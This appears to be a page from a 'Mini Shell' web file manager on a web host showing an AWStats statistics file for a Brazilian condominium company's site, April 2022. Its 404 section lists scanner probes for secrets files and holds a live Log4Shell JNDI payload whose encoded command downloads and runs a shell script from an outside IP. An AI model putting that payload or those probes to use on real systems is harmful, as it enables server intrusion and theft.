%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home1/dimen328/tmp/awstats/ssl/
Upload File :
Create Path :
Current File : //home1/dimen328/tmp/awstats/ssl/awstats042022.dimensaocondominios.dimensaogrupo.com.br.txt

AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202204 will be lost/reset.
# Last config file used to build this data file was /home/dimen328/tmp/awstats/ssl/awstats.dimensaocondominios.dimensaogrupo.com.br.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2041                
POS_TIME 2713                
POS_VISITOR 14267               
POS_DAY 29835               
POS_DOMAIN 3515                
POS_LOGIN 4098                
POS_ROBOT 4253                
POS_WORMS 4806                
POS_EMAILSENDER 4937                
POS_EMAILRECEIVER 5080                
POS_SESSION 30617               
POS_SIDER 30825               
POS_FILETYPES 5215                
POS_DOWNLOADS 5423                
POS_OS 5526                
POS_BROWSER 5923                
POS_SCREENSIZE 7987                
POS_UNKNOWNREFERER 8061                
POS_UNKNOWNREFERERBROWSER 9253                
POS_ORIGIN 10054               
POS_SEREFERRALS 10189               
POS_PAGEREFS 10365               
POS_SEARCHWORDS 10560               
POS_KEYWORDS 10712               
POS_MISC 2376                
POS_ERRORS 10771               
POS_CLUSTER 3954                
POS_SIDER_404 10905               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20220501091713 1 0 3311225432189
FirstTime 20220401002104
LastTime 20220430075824
LastUpdate 20220502091443 1 0 0 0 0
TotalVisits 705                 
TotalUnique 404                 
MonthHostsKnown 0                   
MonthHostsUnknown 404                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
AddToFavourites 0 28 0
WindowsMediaPlayerSupport 0 0 0
JavaEnabled 0 0 0
DirectorSupport 0 0 0
FlashSupport 0 0 0
RealPlayerSupport 0 0 0
JavascriptDisabled 0 0 0
QuickTimeSupport 0 0 0
TotalMisc 0 0 0
PDFSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 35 35 116887 67 90 622095
1 24 24 40776 79 100 899157
2 29 29 117199 49 68 437890
3 26 26 91221 59 75 597782
4 32 32 75421 46 67 523866
5 53 77 356361 68 77 492528
6 35 35 215616 88 98 714488
7 40 40 67960 37 56 287676
8 46 61 413690 52 70 433154
9 78 78 167755 86 124 581916
10 24 24 40776 60 78 458739
11 16 16 63561 57 63 515349
12 15 15 22087 59 63 436250
13 36 36 80511 46 52 384704
14 55 55 132084 78 96 664409
15 36 38 89327 30 42 308182
16 35 35 132207 41 47 275643
17 46 46 134109 48 65 407169
18 33 33 54368 35 40 320411
19 24 24 96716 37 41 339692
20 73 73 160404 54 86 513647
21 43 43 83694 44 64 389651
22 21 21 119090 47 54 443491
23 20 20 33980 53 61 456785
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 27
us 433 472 1367941
gb 117 117 198783
in 81 81 137619
ca 59 59 500340
ru 46 46 131388
nl 31 31 50970
cn 17 17 70990
bg 16 16 27184
eu 15 15 170969
fr 15 15 97953
gr 10 10 53367
ao 7 7 11893
dk 4 4 6796
br 3 5 22619
de 3 3 5097
jp 3 3 5097
au 2 2 24707
es 2 2 3398
cl 2 2 3398
ua 2 2 3398
ie 1 1 1699
zz 1 1 1699
se 1 1 1699
sc 1 1 1699
ir 1 1 1699
id 1 1 1699
mn 1 1 1699
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 11
no_user_agent 149 284431 20220430072354 0
bingbot/ 81 172561 20220430070845 0
bot[\s_+:,\.\;\/\\-] 65 328304 20220429050602 0
Go\-http\-client/ 15 25485 20220427110704 0
(firefox/)([0-9]\.|[0-1][0]\.) 9 15291 20220428024146 0
libwww\-perl 8 13592 20220425005801 0
survey 8 86334 20220405202247 0
curl 3 3398 20220427131918 0
AhrefsBot/ 2 3398 20220424084427 0
java 1 1699 20220425163539 0
ng/1\. 1 1699 20220414224741 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 8
js 13 148233 0 0
shtml 26 208355 0 0
Unknown 1 12327 0 0
html 846 2373321 0 0
php 2 24707 0 0
svg 13 73021 0 0
txt 2 24704 0 0
png 13 41132 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 2
/CHANGELOG.txt 1 0 12350
/core/CHANGELOG.txt 1 0 12354
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 24
win8.1 6 6
macosx11 15 15
win7 21 21
android10 1 1
linux 80 80
macosx 5 5
androidnougat 6 6
macosx13 5 5
macosx9 3 3
win8 5 5
androidpie 1 1
Unknown 241 241
macosx10 7 7
macosx12 7 7
ios_iphone 4 4
ios_ipad 17 3
androidoreo 3 3
macosx14 12 12
winxp 2 2
androidkitkat 4 4
macosx15 57 57
winvista 1 1
linuxubuntu 14 14
win10 399 372
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 94
chrome36.0.1944.0 2 2
chrome80.0.3947.0 1 1
chrome83.0.4103.106 1 1
chrome75.0.3770.142 2 2
firefox65.0 2 2
chrome66.0.3359.117 3 3
chrome61.0.3163.128 3 3
chrome94.0.4590.2 1 1
edge16 1 1
opera31.0.1889.174 1 1
firefox83.0 2 2
chrome78.0.3904.108 91 91
netscape5.0 76 76
chrome34.0.1847.137 11 11
msie11.0 2 2
safari11.0.3 4 4
chrome76.0.3809.71 1 1
chrome75.0.3770.89 1 1
safari9.0 1 1
chrome94.0.4606.61 18 18
safari12.2.0.0.1 2 2
msie10.0 2 2
chrome27.0.1453.93 1 1
safari11.0 15 1
chrome96.0.4664.110 49 49
chrome35.0.3319.102 1 1
firefox96.0 2 2
firefox68.0 3 3
firefox74.0 2 2
chrome58.0.3050.66 1 1
chrome63.0.3239.132 3 3
chrome60.0.3112.90 1 1
chrome91.0.4472.124 2 2
chrome87.0.4280.88 5 5
chrome64.0.3282.186 4 4
chrome76.0.3809.100 2 2
chrome91.0.4472.164 1 1
chrome59.0.3071.125 3 3
firefox73.0 5 5
chrome84.0.4112.0 1 1
chrome72.0.3597.0 2 2
chrome92.0.4515.159 2 2
chrome100.0.4896.60 4 2
chrome50.0.3035.101 1 1
firefox58.0 16 16
chrome83.0.4103.61 2 2
chrome35.0.1916.47 1 1
chrome71.0.3578.98 3 3
chrome84.0.4147.105 1 1
chrome37.0.2049.0 1 1
chrome41.0.2225.0 1 1
chrome74.0.3729.61 1 1
chrome41.0.2226.0 1 1
firefox69.0 1 1
chrome85.0.4164.0 1 0
chrome88.0.4324.190 6 6
chrome99.0.4844.51 2 2
firefox78.0 3 3
chrome42.0.2311.90 6 6
chrome98.0.4758.80 1 1
chrome100.0.4896.88 1 1
chrome66.0.3359.181 2 2
chrome83.0.4103.97 59 59
chrome86.0.4216.0 1 1
chrome81.0.4044.129 1 1
chrome60.0.3112.113 99 99
chrome79.0.3945.0 39 15
Unknown 110 110
firefox47.0 101 101
chrome79.0.4101.79 3 3
chrome45.0.2454.101 6 6
chrome87.0.4280.141 1 1
chrome41.0.2228.0 5 5
chrome41.0.2227.1 1 1
chrome44.0.2403.155 1 1
chrome71.0.3578.80 1 1
chrome58.0.3019.61 1 1
chrome92.0.4515.131 1 1
chrome70.0.3538.77 4 4
chrome50.0.2661.102 2 2
chrome83.0.1667.0 1 1
mozilla 56 56
firefox63.0.3 1 1
chrome36.0.1985.67 1 1
chrome39.0.2171.95 6 6
chrome91.0.4472.0 2 2
safari 3 3
android 4 4
chrome95.0.4638.69 7 7
firefox95.0 5 5
chrome54.0.2840.98 1 1
chrome74.0.3729.131 3 3
chrome99.0.4844.84 1 1
chrome41.0.2227.0 1 1
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 15
python-requests/2.22.0 20220419154652
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20220430073716
https://gdnplus.com:Gather_Analyze_Provide. 20220427115516
Mozilla/5.0_(compatible;_woorankreview/2.0;__https://www.woorank.com/) 20220415041237
python-requests/2.26.0 20220429000359
l9tcpid/v1.1.0 20220427143713
NetSystemsResearch_studies_the_availability_of_various_services_across_the_internet._Our_website_is_netsystemsresearch.com 20220429124858
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20220429183512
axios/0.21.4 20220429094451
'Mozilla/5.0_project_patchwatch' 20220418192123
python-requests/2.27.1 20220429023922
Mozilla/5.0 20220430010322
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20220427101808
Mozilla/5.0_zgrab/0.x 20220429163017
HTTP_Banner_Detection_(https://security.ipip.net) 20220424230522
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 9
https://gdnplus.com:Gather_Analyze_Provide. 20220427115516
HTTP_Banner_Detection_(https://security.ipip.net) 20220424230522
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20220430073716
axios/0.21.4 20220429094451
python-requests/2.22.0 20220419154652
NetSystemsResearch_studies_the_availability_of_various_services_across_the_internet._Our_website_is_netsystemsresearch.com 20220429124858
l9tcpid/v1.1.0 20220427143713
python-requests/2.26.0 20220429000359
python-requests/2.27.1 20220429023922
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 864 879
From1 0 0
From2 8 8
From3 2 2
From4 1 27
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 2
www_google_com_hk 6 6
baidu 2 2
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 1
https://webmail.dimensaocondominios.com.br 2 2
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 4
400 27 281612
401 102 4369
404 1006 10219360
421 39 12558
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 122
/ 134 -
/dasdasd 2 -
/webfig/ 2 -
/actuator/gateway/routes 18 -
/ews/exchange.asmx 1 -
/wp-login.php 1 -
/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application 23 -
/manager/html 1 -
/stream/live.php 4 -
/_aws/credentials 1 -
/jenkins/login 1 -
/sitemap.xml 19 -
/sdk 4 -
/.well-known/openpgpkey/policy 13 -
/fileupload/toolsAny 1 -
/autodiscover/autodiscover.xml 6 https://162.214.213.194/autodiscover/autodiscover.xml
/api/login 1 https://162.214.213.194/manage/account/login
/dqgqoeCXckuwPtxov 2 -
/query 4 -
/admin/config.php 6 -
/js../.git/config 4 -
/owa/auth.owa 3 -
/index.php 20 -
/evox/about 4 -
/system_api.php 4 -
/owa/auth/x.js 19 -
/telescope/requests 1 -
/new/license.txt 2 -
/config.json 1 -
/phpinfo.php 1 -
/ojMcKvTYt66Favs/xcu80tWGes5/B7cq6byWLf/QYDldQYiGvydyXB 1 -
/server.php 2 -
/console/ 17 -
/misc/drupal.js 3 -
/.aws 1 -
/wp/license.txt 1 -
/ab2g 1 -
/catalog-portal/ui 1 -
/HNAP1 4 -
/epa/scripts/win/nsepa_setup.exe 1 -
/actuator/env 1 -
/owa/ 2 -
/php.php 1 -
/cgi-bin/luci 2 -
/users/sign_in 1 -
/nmaplowercheck1649950845 1 -
/core/.env 1 -
/.json 1 -
/bag2 1 -
/cgi-bin/welcome 1 -
/text4041648977580 1 -
/robots.txt 110 -
/sdk/ 1 -
/autodiscover/autodiscover.json 4 -
/admin/ 3 -
/1/license.txt 1 -
/flu/403.html 4 -
/.DS_Store 3 -
/aws/config 1 -
/info.php 2 -
/HNAP1/ 1 https://162.214.213.194/
/actuator/health 14 -
/spog/welcome 1 -
/.git/config 30 -
/solr/ 5 -
/web_shell_cmd.gch 3 -
//.env 10 -
/dns-query 4 -
/core/misc/drupal.js 3 -
/dup-installer/main.installer.php 3 -
/c/version.js 4 -
/123/license.txt 1 -
/.env 149 -
/websso/SAML2/SSO/vsphere.local 1 -
/:443:undefined 2 t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//201.46.39.66:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzM3LjQ0LjIzOC4xOTcvOFVzQS5zaDsgY3VybCAtTyBodHRwOi8vMzcuNDQuMjM4LjE5Ny84VXNBLnNoOyBjaG1vZCA3NzcgOFVzQS5zaDsgc2ggOFVzQS5zaA==}')
/suite-api/api/auth/token/acquire 1 https://162.214.213.194/ui/
/GponForm/diag_Form 27 -
/login.action 1 -
/text4041650793807 1 -
/api/.env 1 -
/script 1 -
/.aws/credentials 3 -
/streaming/clients_live.php 4 -
/icons/sphere1.png 1 -
///remote/fgt_lang 10 -
/Autodiscover/Autodiscover.xml 18 -
/static../.git/config 4 -
/adminpanel/ 1 -
/media../.git/config 4 -
/mifs/. 21 https://162.214.213.194:443
/stalker_portal/c/version.js 4 -
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 38 -
/admin.php 1 -
/cp_errordocument.shtml/img-sys/server_misconfigured.png 1 -
/server-status 1 -
/remote/fgt_lang 8 -
/UniSSOView/ 1 -
/s/lkx/_/ 1 -
/dev/license.txt 2 -
/UniSSO/ 1 -
/ads.txt 28 -
/aab9 1 -
/owa/auth/logon.aspx 50 -
/showLogin.cc 2 -
/.well-known/security.txt 12 -
/aaa9 1 -
/fm/messagebroker/amfsecure 1 -
/_ignition/execute-solution 20 -
/text4041650100796 1 -
/idx_config/ 1 -
/api/geojson 1 -
/api/.git/config 3 -
/ReportServer 4 -
/login 5 -
/backup/license.txt 1 -
/AAAAAAAA 1 -
/adm/ 1 -
/resolve 4 -
/about/ 1 -
/portal/info.jsp 1 -
/path 1 -
/a/license.txt 2 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 404
185.54.230.224 84 84 142716 20220409184530
45.155.204.146 68 68 115532 20220425002529
173.79.26.199 41 41 130517 20220415084051
213.226.123.30 16 16 27184 20220430055126
193.118.53.194 13 13 22087 20220425014514
94.102.61.8 13 13 22087 20220429000359
80.82.78.39 12 12 20388 20220430010322
193.118.53.202 10 10 16990 20220426235619
209.141.35.128 10 10 38035 20220422071430
128.1.248.26 8 8 13592 20220422135757
193.118.53.210 8 8 13592 20220424025339
205.185.117.203 8 8 13592 20220422071654
93.119.227.34 7 7 84635 20220405160316
176.113.115.238 7 7 33230 20220425133314
93.119.227.19 7 7 84635 20220405081607
128.14.141.34 7 7 11893 20220420144522
69.4.89.106 7 7 84635 20220405060117
128.14.209.162 6 6 10194 20220419235704
157.230.91.90 6 6 10194 20220429094457
103.203.57.25 6 6 10194 20220427065734
103.203.57.10 5 5 8495 20220424230522
128.14.134.170 5 5 8495 20220421003751
208.100.26.247 5 5 19134 20220425134805
128.1.248.42 5 5 8495 20220421062305
54.225.107.146 5 5 8495 20220415041237
192.241.224.103 1 1 1699 20220404214554
185.180.143.7 3 3 5097 20220430030156
178.128.81.24 1 1 1699 20220417191713
8.31.2.67 3 3 5097 20220401105204
51.255.62.8 1 1 1699 20220409052541
205.210.31.143 1 1 38064 20220423003456
144.172.73.66 1 1 1699 20220403030716
176.113.115.118 1 1 12327 20220430054736
18.236.182.185 1 1 1699 20220411210001
200.158.206.240 2 4 20920 20220405153547
65.0.65.187 1 1 1699 20220419155245
35.195.93.98 2 2 3398 20220429023922
196.245.247.48 1 1 1699 20220408061149
167.248.133.117 1 1 1699 20220428092556
139.162.207.84 1 1 1699 20220405011306
139.99.149.66 1 1 1699 20220412222737
35.88.70.204 1 1 1699 20220427203548
208.100.26.244 3 3 5097 20220429182629
8.31.2.98 4 4 17317 20220422050108
91.213.50.251 1 1 1699 20220425121846
192.241.222.172 1 1 1699 20220429163017
167.248.133.47 2 2 3398 20220415131545
205.210.31.153 1 1 1699 20220430073716
192.241.222.224 1 1 1699 20220425234816
54.245.51.91 1 1 1699 20220403203813
162.142.125.220 2 2 3398 20220425153034
35.155.183.174 1 1 1699 20220419203850
54.185.118.23 1 1 1699 20220424203724
170.130.187.54 1 1 1699 20220401212111
192.241.215.241 1 1 1699 20220401094755
91.240.118.137 1 1 0 20220401181851
45.90.62.83 1 1 1699 20220406152858
3.231.214.182 1 1 0 20220410050732
18.237.147.13 1 1 1699 20220429205037
164.92.252.4 1 1 1699 20220403045701
185.180.143.75 1 1 1699 20220403181948
35.173.193.89 1 3 19193 20220410050730
162.142.125.212 1 1 1699 20220424044305
35.164.152.204 1 1 1699 20220420201351
205.210.31.149 2 2 3398 20220429214250
180.149.125.164 1 1 1699 20220414172923
192.241.213.149 1 1 1699 20220422100348
205.210.31.27 1 1 1699 20220415093737
3.228.230.254 1 1 1699 20220415041238
185.129.63.2 1 1 1699 20220430055051
35.88.66.156 1 1 1699 20220406204214
89.104.101.132 1 1 12338 20220406170200
18.236.255.36 1 1 1699 20220404201743
198.235.24.29 1 1 1699 20220422141743
34.213.188.41 1 1 1699 20220423203509
64.225.27.84 1 1 1699 20220414061329
192.241.217.172 1 1 1699 20220421001206
170.130.187.22 1 1 1699 20220408214636
68.183.154.100 1 1 1699 20220417175128
198.235.24.146 1 1 1699 20220422211802
34.77.162.10 1 1 1699 20220409004647
188.166.105.15 1 1 1699 20220419173831
205.185.122.184 4 4 6796 20220422050100
185.180.143.81 1 1 1699 20220430075824
34.216.141.13 1 1 1699 20220414201900
34.86.35.11 1 1 1699 20220412093231
185.142.236.41 1 1 1699 20220411024807
104.140.188.2 1 1 1699 20220418182602
51.255.62.7 2 2 39626 20220406084035
102.37.122.154 1 1 1699 20220414162737
198.235.24.130 1 1 1699 20220423165631
167.94.138.63 1 1 1699 20220403055035
23.90.160.122 2 2 3398 20220427142801
172.105.161.246 1 1 1699 20220420180540
23.129.64.215 1 1 1699 20220412152217
167.94.138.62 2 2 3398 20220429125719
172.104.234.47 1 1 0 20220409093059
51.255.62.5 2 2 39638 20220406084035
134.209.177.36 1 1 1699 20220419154652
45.90.62.173 2 2 3398 20220406172736
34.96.130.3 2 2 3398 20220409010354
209.141.41.193 4 4 17319 20220422050036
198.235.24.148 1 1 1699 20220424163214
34.221.138.46 1 1 1699 20220403203756
198.235.24.141 1 1 1699 20220421213054
34.216.114.79 1 1 1699 20220408201104
44.200.140.7 2 2 0 20220410050725
62.210.201.179 2 2 3398 20220425162910
54.159.236.1 1 1 1699 20220406070949
205.210.31.32 1 1 1699 20220420030653
183.136.225.42 1 1 1699 20220406180053
198.235.24.22 1 1 1699 20220424092634
89.104.110.104 2 2 3398 20220408182612
154.209.125.50 2 2 3398 20220427053624
34.211.8.110 1 1 1699 20220421204308
89.104.100.117 1 1 1699 20220409153122
54.190.192.187 1 1 1699 20220409201124
54.162.71.26 1 1 1699 20220418222855
3.239.205.203 2 6 38398 20220410050740
50.31.21.5 1 1 0 20220414124046
3.101.115.47 1 1 0 20220411172921
167.248.133.45 1 1 1699 20220419113906
208.100.26.233 2 2 14033 20220428193709
156.146.50.169 1 1 0 20220406090405
198.235.24.135 1 1 1699 20220423151542
34.145.248.133 1 1 1699 20220404233456
195.154.178.159 1 1 1699 20220424222341
35.86.78.36 1 1 1699 20220402201343
71.6.232.4 1 1 1699 20220426220420
139.59.169.41 2 2 24707 20220429225121
104.206.128.58 1 1 1699 20220427115516
108.174.50.7 1 1 1699 20220429183054
198.235.24.158 1 1 1699 20220424071248
71.6.232.7 2 2 3398 20220411103348
45.83.67.248 1 1 1699 20220413000741
35.81.78.153 1 1 1699 20220418031758
198.98.48.175 1 1 1699 20220415064357
167.94.138.45 1 1 1699 20220418092406
3.81.44.57 1 1 1699 20220401092332
167.248.133.118 2 2 3398 20220418102852
185.163.109.66 1 1 1699 20220408074107
34.219.139.127 1 1 1699 20220407211233
164.92.171.217 1 1 1699 20220406031534
54.165.180.233 1 1 1699 20220415041237
34.86.35.6 1 1 1699 20220412063359
207.246.113.16 1 1 1699 20220420192124
176.113.42.67 1 1 1699 20220409175444
167.248.133.62 2 2 3398 20220409220629
128.1.248.34 1 1 1699 20220406220237
192.53.170.163 1 1 1699 20220413113333
44.200.86.120 1 1 1699 20220410050656
162.142.125.211 2 2 3398 20220411025223
89.104.111.178 1 1 1699 20220406143323
213.32.122.82 4 4 6796 20220422074417
52.24.5.250 1 1 1699 20220420202111
174.138.19.162 1 1 1699 20220403023739
45.90.63.236 1 1 1699 20220405143913
92.118.160.37 1 1 1699 20220402031118
34.220.213.234 1 1 1699 20220420201246
91.230.107.202 1 1 1699 20220422174000
34.229.21.252 1 3 19193 20220410050733
193.107.216.102 1 1 1699 20220420184956
162.142.125.213 1 1 1699 20220406090145
205.210.31.129 1 1 1699 20220420012515
51.254.49.107 1 1 1699 20220409075253
60.217.75.69 1 1 1699 20220424164119
142.93.75.152 1 1 1699 20220421062623
69.30.229.66 1 1 1699 20220414075850
201.32.132.130 1 1 1699 20220401144734
192.241.224.183 1 1 1699 20220402160254
192.241.212.248 1 1 1699 20220415074850
35.87.181.104 1 1 1699 20220411205807
65.155.30.101 1 1 1699 20220420110540
35.89.102.223 1 1 1699 20220417202122
51.255.62.11 2 2 3398 20220409052541
205.210.31.28 2 2 39775 20220429202307
192.241.223.222 1 1 1699 20220404182932
176.53.218.95 1 1 1699 20220405182444
198.235.24.15 1 1 1699 20220423045047
68.183.59.8 1 1 1699 20220424194415
45.90.63.179 1 1 12322 20220406140709
198.235.24.136 1 1 1699 20220415161516
54.201.43.205 1 1 1699 20220404201823
143.198.3.42 1 1 1699 20220407083829
167.248.133.46 1 1 1699 20220401173529
154.209.125.48 2 2 3398 20220405000729
52.39.227.131 1 1 1699 20220402201306
205.210.31.21 1 1 1699 20220421131601
45.90.61.40 1 1 1699 20220406172736
208.100.26.249 2 2 3398 20220421135957
54.91.179.237 1 1 1699 20220410050703
198.235.24.14 1 1 38076 20220419221800
143.198.45.201 1 1 1699 20220406090548
205.210.31.26 1 1 1699 20220422141940
52.24.100.158 1 1 1699 20220424203737
81.39.111.122 2 2 3398 20220408042330
71.6.199.23 1 1 1699 20220407200510
198.235.24.128 2 2 39775 20220423170246
23.90.160.114 1 1 1699 20220428153848
18.232.56.108 1 1 0 20220410050711
128.14.133.58 3 3 5097 20220417133608
198.235.24.138 1 1 1699 20220423014451
54.149.222.159 1 1 1699 20220413202323
198.235.24.24 2 2 39763 20220425194138
130.211.54.158 1 1 1699 20220429023923
185.180.143.6 1 1 1699 20220418142259
194.110.115.18 1 1 1699 20220418162325
205.210.31.16 1 1 1699 20220423153536
66.240.192.82 1 1 1699 20220418192123
185.180.143.8 1 1 1699 20220420174651
205.210.31.2 1 1 1699 20220416004417
198.235.24.25 2 2 76128 20220430065056
195.201.110.67 1 1 1699 20220429093123
34.211.78.158 1 1 1699 20220427203559
157.245.77.224 1 1 1699 20220421094545
185.180.143.137 2 2 3398 20220407063139
209.141.51.49 3 3 5097 20220422024234
208.100.26.243 3 3 5097 20220429091034
198.235.24.145 1 1 1699 20220422165352
34.91.59.8 1 1 1699 20220421093644
54.244.83.214 1 1 1699 20220420201824
80.82.77.139 1 1 1699 20220425233531
198.235.24.161 1 1 1699 20220427065616
104.199.62.243 1 1 1699 20220406050120
34.216.182.137 1 1 1699 20220402201357
162.142.125.210 1 1 12317 20220412092028
205.210.31.13 1 1 1699 20220427060247
51.255.62.1 1 1 1699 20220406084035
205.210.31.156 1 1 1699 20220415032204
192.241.212.136 1 1 1699 20220428074943
92.118.160.1 1 1 1699 20220411092301
54.244.41.32 1 1 1699 20220414201842
54.204.246.113 1 1 1699 20220427135552
35.194.66.31 1 1 1699 20220404222532
34.223.5.124 1 1 1699 20220401203522
205.210.31.146 1 1 1699 20220429060016
35.160.44.7 1 1 1699 20220412202720
167.94.138.47 4 4 6796 20220424073623
164.92.237.244 1 1 1699 20220408040232
23.94.255.80 1 1 1699 20220419074155
195.154.176.213 1 1 1699 20220411144952
3.234.239.240 1 1 1699 20220410050650
18.236.248.234 1 1 1699 20220429205108
185.142.236.34 1 1 1699 20220411053829
205.210.31.135 1 1 1699 20220422061927
51.254.49.104 1 1 1699 20220409075253
34.224.79.168 2 6 38384 20220410050705
167.71.180.188 1 1 1699 20220403143450
104.206.128.66 1 1 1699 20220415073416
54.189.74.198 1 1 1699 20220428203230
101.227.1.196 1 1 12221 20220422024201
34.219.235.209 1 1 1699 20220418202744
3.110.192.97 1 1 1699 20220420175620
34.77.143.84 1 1 1699 20220424042335
162.142.125.222 3 3 15722 20220414213654
198.235.24.134 2 2 39775 20220425225123
54.188.209.231 1 1 1699 20220408201140
192.241.201.89 1 1 1699 20220427052151
101.227.1.198 1 1 12227 20220422045934
167.248.133.119 1 1 1699 20220405012929
50.112.19.113 1 1 1699 20220415200213
167.248.133.44 2 2 3398 20220422035228
198.235.24.33 1 1 1699 20220422035129
205.210.31.148 1 1 1699 20220429091136
167.248.133.60 1 1 1699 20220428033948
34.77.162.24 1 1 1699 20220404221351
223.71.167.164 1 1 1699 20220424044127
205.210.31.22 2 2 39775 20220423052044
3.236.224.28 1 1 0 20220410050739
18.204.205.6 1 1 0 20220410050719
8.31.2.108 2 2 3398 20220401105141
192.241.222.191 1 1 1699 20220406192859
34.219.105.26 1 1 1699 20220407211310
176.53.222.220 1 1 12329 20220405141108
198.235.24.153 1 1 1699 20220423190059
45.90.63.217 1 1 12337 20220405171110
205.210.31.20 1 1 1699 20220419121531
